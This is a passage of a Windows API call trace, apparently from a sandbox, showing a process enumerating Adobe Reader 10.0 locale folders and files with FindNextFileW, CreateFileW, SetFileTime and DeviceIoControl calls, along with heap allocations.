lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.637] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0081.637] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0081.637] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1259090, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1259090, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0081.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1259090) returned 1 [0081.637] NtClose (Handle=0x174) returned 0x0 [0081.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1269968) returned 1 [0081.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269968 [0081.638] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269a70 [0081.638] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0081.638] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.638] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9586, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269b78 [0081.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202658 [0081.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269c80 [0081.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.640] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202678 [0081.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269d88 [0081.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.642] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.642] GetLastError () returned 0x12 [0081.642] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0081.642] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.642] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.642] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9586, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.642] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.642] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.642] GetLastError () returned 0x12 [0081.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1269a70) returned 1 [0081.642] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0081.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1269b78) returned 1 [0081.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1269968) returned 1 [0081.643] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CAT", cAlternateFileName="")) returned 1 [0081.643] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.CAT", cAlternateFileName="")) returned 1 [0081.643] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CAT", cAlternateFileName="")) returned 1 [0081.643] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CAT", cAlternateFileName="")) returned 0 [0081.643] GetLastError () returned 0x12 [0081.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.643] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.643] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1 [0081.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.644] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.645] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1259090 [0081.645] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1259090, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1259090, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1259090) returned 1 [0081.645] NtClose (Handle=0x168) returned 0x0 [0081.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.646] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.647] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.647] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CZE", cAlternateFileName="")) returned 1 [0081.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202698 [0081.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269968 [0081.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.649] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CZE", cAlternateFileName="")) returned 1 [0081.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12026b8 [0081.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269b78 [0081.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.651] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CZE", cAlternateFileName="")) returned 1 [0081.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12590a8 [0081.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269a70 [0081.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.652] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CZE", cAlternateFileName="")) returned 1 [0081.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12590c8 [0081.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269e90 [0081.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.653] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CZE", cAlternateFileName="")) returned 1 [0081.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12590e8 [0081.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269f98 [0081.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.655] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CZE", cAlternateFileName="")) returned 1 [0081.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 